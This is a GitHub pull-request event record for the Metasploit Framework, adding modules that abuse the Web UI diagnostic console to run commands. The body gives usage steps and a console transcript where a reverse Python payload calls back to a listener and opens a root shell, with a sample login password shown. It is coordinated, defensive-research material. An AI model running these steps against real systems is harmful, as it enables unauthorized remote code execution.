{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7268","repository_url":"https://api.github.com/repos/rapid7/metasploit-framework","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7268/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7268/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7268/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/7268","id":174865091,"number":7268,"title":"add metasploit_webui_console_command_execution","user":{"login":"justinsteven","id":1893909,"avatar_url":"https://avatars.githubusercontent.com/u/1893909?v=3","gravatar_id":"","url":"https://api.github.com/users/justinsteven","html_url":"https://github.com/justinsteven","followers_url":"https://api.github.com/users/justinsteven/followers","following_url":"https://api.github.com/users/justinsteven/following{/other_user}","gists_url":"https://api.github.com/users/justinsteven/gists{/gist_id}","starred_url":"https://api.github.com/users/justinsteven/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/justinsteven/subscriptions","organizations_url":"https://api.github.com/users/justinsteven/orgs","repos_url":"https://api.github.com/users/justinsteven/repos","events_url":"https://api.github.com/users/justinsteven/events{/privacy}","received_events_url":"https://api.github.com/users/justinsteven/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/feature","name":"feature","color":"bfe5bf"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"closed","locked":false,"assignee":{"login":"bcook-r7","id":10031469,"avatar_url":"https://avatars.githubusercontent.com/u/10031469?v=3","gravatar_id":"","url":"https://api.github.com/users/bcook-r7","html_url":"https://github.com/bcook-r7","followers_url":"https://api.github.com/users/bcook-r7/followers","following_url":"https://api.github.com/users/bcook-r7/following{/other_user}","gists_url":"https://api.github.com/users/bcook-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bcook-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcook-r7/subscriptions","organizations_url":"https://api.github.com/users/bcook-r7/orgs","repos_url":"https://api.github.com/users/bcook-r7/repos","events_url":"https://api.github.com/users/bcook-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bcook-r7/received_events","type":"User","site_admin":false},"assignees":[{"login":"bcook-r7","id":10031469,"avatar_url":"https://avatars.githubusercontent.com/u/10031469?v=3","gravatar_id":"","url":"https://api.github.com/users/bcook-r7","html_url":"https://github.com/bcook-r7","followers_url":"https://api.github.com/users/bcook-r7/followers","following_url":"https://api.github.com/users/bcook-r7/following{/other_user}","gists_url":"https://api.github.com/users/bcook-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bcook-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcook-r7/subscriptions","organizations_url":"https://api.github.com/users/bcook-r7/orgs","repos_url":"https://api.github.com/users/bcook-r7/repos","events_url":"https://api.github.com/users/bcook-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bcook-r7/received_events","type":"User","site_admin":false}],"milestone":null,"comments":9,"created_at":"2016-09-02T23:31:10Z","updated_at":"2016-09-22T05:53:24Z","closed_at":"2016-09-22T05:52:11Z","pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/7268","html_url":"https://github.com/rapid7/metasploit-framework/pull/7268","diff_url":"https://github.com/rapid7/metasploit-framework/pull/7268.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/7268.patch"},"body":"These are cheeky modules that exploit a feature (not a bug) in the Metasploit Web UI. This PR has been coordinated with the fine folks at rapid7.\r\n\r\nA Community Web UI user account, or an administrative (?) user on Express or Pro, can remotely enable a diagnostic console, giving Web UI users access to msfconsole. This can be used to execute shell commands.\r\n\r\n## Verification\r\n\r\n- [x] Launch `msfconsole`\r\n- [x] `use exploit/unix/webapp/metasploit_webui_console_command_execution` and/or `use exploit/windows/http/metasploit_webui_console_command_execution`\r\n- [x] Set `RHOST`, `LHOST`, `USERNAME` and `PASSWORD`\r\n- [x] `exploit`\r\n- [x] **Verify** Gets a shell on Metasploit Community\r\n\r\nBonus verification steps:\r\n\r\n- [x] **Verify** Gets a shell on Metasploit Express on Linux and/or Windows. Please let me know if doing so requires an admin login, and which version it works against\r\n- [x] **Verify** Gets a shell on Metasploit Pro on Linux and/or Windows. Please let me know if doing so requires an admin login, and which version it works against\r\n\r\n## Output\r\n\r\nLinux target:\r\n\r\n```\r\nmsf exploit(metasploit_webui_console_command_execution) > info\r\n\r\n       Name: Metasploit Web UI Diagnostic Console Command Execution\r\n     Module: exploit/unix/webapp/metasploit_webui_console_command_execution\r\n   Platform: Linux, Unix\r\n Privileged: Yes\r\n    License: Metasploit Framework License (BSD)\r\n       Rank: Excellent\r\n  Disclosed: 2016-08-23\r\n\r\nProvided by:\r\n  Justin Steven\r\n\r\nAvailable targets:\r\n  Id  Name\r\n  --  ----\r\n  0   Automatic\r\n\r\nBasic options:\r\n  Name       Current Setting   Required  Description\r\n  ----       ---------------   --------  -----------\r\n  PASSWORD   J=pE`^q52Kn^v6`C  yes       The password to authenticate with\r\n  Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]\r\n  RHOST      172.18.0.2        yes       The target address\r\n  RPORT      3790              yes\r\n  SSL        true              yes       Use SSL\r\n  TARGETURI  /                 yes       MSF base path\r\n  USERNAME   justin            yes       The user to authenticate as\r\n  VHOST                        no        HTTP server virtual host\r\n\r\nPayload information:\r\n\r\nDescription:\r\n  This module exploits the \"diagnostic console\" feature in the\r\n  Metasploit Web UI to obtain a reverse shell. The diagnostic console\r\n  is able to be enabled or disabled by an administrator on Metasploit\r\n  Pro and by an authenticated user on Metasploit Express and\r\n  Metasploit Community. When enabled, the diagnostic console provides\r\n  access to msfconsole via the web interface. An authenticated user\r\n  can then use the console to execute shell commands. NOTE: Valid\r\n  credentials are required for this module. Tested against: Metasploit\r\n  Community 4.1.0, Metasploit Community 4.8.2, Metasploit Community\r\n  4.12.0\r\n\r\nmsf exploit(metasploit_webui_console_command_execution) > options\r\n\r\nModule options (exploit/unix/webapp/metasploit_webui_console_command_execution):\r\n\r\n   Name       Current Setting   Required  Description\r\n   ----       ---------------   --------  -----------\r\n   PASSWORD   J=pE`^q52Kn^v6`C  yes       The password to authenticate with\r\n   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]\r\n   RHOST      172.18.0.2        yes       The target address\r\n   RPORT      3790              yes\r\n   SSL        true              yes       Use SSL\r\n   TARGETURI  /                 yes       MSF base path\r\n   USERNAME   justin            yes       The user to authenticate as\r\n   VHOST                        no        HTTP server virtual host\r\n\r\n\r\nPayload options (cmd/unix/reverse_python):\r\n\r\n   Name   Current Setting  Required  Description\r\n   ----   ---------------  --------  -----------\r\n   LHOST  172.18.0.1       yes       The listen address\r\n   LPORT  4444             yes       The listen port\r\n   SHELL  /bin/bash        yes       The system shell to use.\r\n\r\n\r\nExploit target:\r\n\r\n   Id  Name\r\n   --  ----\r\n   0   Automatic\r\n\r\n\r\nmsf exploit(metasploit_webui_console_command_execution) > exploit\r\n\r\n[*] Started reverse TCP handler on 172.18.0.1:4444\r\n[*] Obtaining cookies and authenticity_token\r\n[*] Logging in\r\n[*] Getting diagnostic console status and profile_id\r\n[+] Console is currently: Disabled\r\n[*] Enabling diagnostic console\r\n[*] Getting ID of a valid workspace\r\n[*] Creating a console, getting its ID and authenticity_token\r\n[*] Running payload\r\n[*] Disabling diagnostic console\r\n[*] Command shell session 1 opened (172.18.0.1:4444 -> 172.18.0.2:48378) at 2016-09-03 09:11:41 +1000\r\n\r\nid\r\nuid=0(root) gid=0(root) groups=0(root)\r\n\r\n^C\r\nAbort session 1? [y/N]  y\r\n```"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/248818568","html_url":"https://github.com/rapid7/metasploit-framework/pull/7268#issuecomment-248818568","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/7268","id":248818568,"user":{"login":"bcook-r7","id":10031469,"avatar_url":"https://avatars.githubusercontent.com/u/10031469?v=3","gravatar_id":"","url":"https://api.github.com/users/bcook-r7","html_url":"https://github.com/bcook-r7","followers_url":"https://api.github.com/users/bcook-r7/followers","following_url":"https://api.github.com/users/bcook-r7/following{/other_user}","gists_url":"https://api.github.com/users/bcook-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bcook-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcook-r7/subscriptions","organizations_url":"https://api.github.com/users/bcook-r7/orgs","repos_url":"https://api.github.com/users/bcook-r7/repos","events_url":"https://api.github.com/users/bcook-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bcook-r7/received_events","type":"User","site_admin":false},"created_at":"2016-09-22T05:53:24Z","updated_at":"2016-09-22T05:53:24Z","body":"## Release Notes\r\n\r\nA Community Web UI user account or an administrative user on Metasploit Express or Pro, can remotely enable a diagnostic console, giving Web UI users access to msfconsole. This can be used to execute shell commands and create a remote session."}}
{"actor":{"display_login":"bcook-r7"}}